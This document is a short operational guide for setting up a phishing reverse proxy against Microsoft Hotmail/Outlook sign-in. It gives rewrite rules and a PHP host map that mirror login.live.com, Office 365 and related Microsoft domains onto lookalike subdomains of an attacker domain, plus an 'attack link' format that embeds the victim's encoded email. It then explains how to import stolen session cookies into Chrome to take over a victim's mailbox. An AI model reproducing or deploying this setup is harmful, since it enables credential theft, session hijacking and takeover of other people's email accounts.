================================================ | Hotmail Proxy setting and using Guide | ================================================ 1. Ready Steps 1.1. .htaccss file edit when mydomain is "lockshop.site" and prefix_word is "mnpo", htaccess file change. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RewriteCond %{HTTP_HOST} ^(.*)mnpo\.lockshop\.site [NC] RewriteRule ^(.*)$ mnpo/index.php?/$1 [L] /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 1.2. index.php file edit $_proxy_hosts value change. /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// $_proxy_hosts = array ( 'outlook.live.com' => 'outlookmnpo.lockshop.site', 'login.live.com' => 'loginmnpo.lockshop.site', 'account.live.com' => 'accountmnpo.lockshop.site', 'ipv6.login.live.com' => 'ipv6mnpo.lockshop.site', 'login.microsoftonline.com' => 'loginsmnpo.lockshop.site', 'outlook.office365.com' => 'mailmnpo.lockshop.site', 'aadcdn.msftauth.net' => 'aadcdnmsftauthmnpo.lockshop.site', 'aadcdn.msauth.net' => 'aadcdnmsauthmnpo.lockshop.site', 'www.office.com' => 'wwwmnpo.lockshop.site', 'r4.res.office365.com' => 'r4resmnpo.lockshop.site', 'live.com' => 'lockshop.site', 'office.com' => 'lockshop.site' ); /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 1.3. attack link url fomat: https://login[prefix_word].[my_maindoman]/login.srf?wa=wsignin1.0&rpsnv=13&ct=1675081679&rver=7.0.6737.0&wp=MBI_SSL& wreply=https%3a%2f%2foutlook.live.com%2fowa%2f%3fnlp%3d1%26RpsCsrfState%3da1c91e69-45e0-ff50-e37d-faef9d0f9b9f& id=292841&aadredir=1&whr=hotmail.com&CBCXT=out&lw=1&fl=dob%2cflname%2cwld&cobrandid=90015& otp=[Base64Encode(user_id)]&rtnurl=[Base64Encode[return_url]] ex:) https://loginmnpo.lockshop.site/login.srf?wa=wsignin1.0&rpsnv=13&ct=1675081679&rver=7.0.6737.0&wp=MBI_SSL& wreply=https%3a%2f%2foutlook.live.com%2fowa%2f%3fnlp%3d1%26RpsCsrfState%3da1c91e69-45e0-ff50-e37d-faef9d0f9b9f& id=292841&aadredir=1&whr=hotmail.com&CBCXT=out&lw=1&fl=dob2cflname%2cwld&cobrandid=90015& otp=YWFhQGhvdG1haWwuY29t&rtnurl=aHR0cHM6Ly93d3cubmF2ZXIuY29t 2. Login with Cookie and Password 2.1 Chrome page init setting Execute chorme.exe Input "https://login.live.com/login.srf" on addressBar and Go 2.2 Cookie setting Install cookie edit chrome plugin Open latest [Object_IP]_Cookie_[CurTime].json file Open cookie edit plugin in the "https://login.live.com/login.srf" chrome window Delete origin cookies Import Cookies of the Cookie file 2.3 The "https://login.live.com/login.srf" chrome window Refresh 2.4 Logined User password Input Select Logined User In next window Input Password Mail page display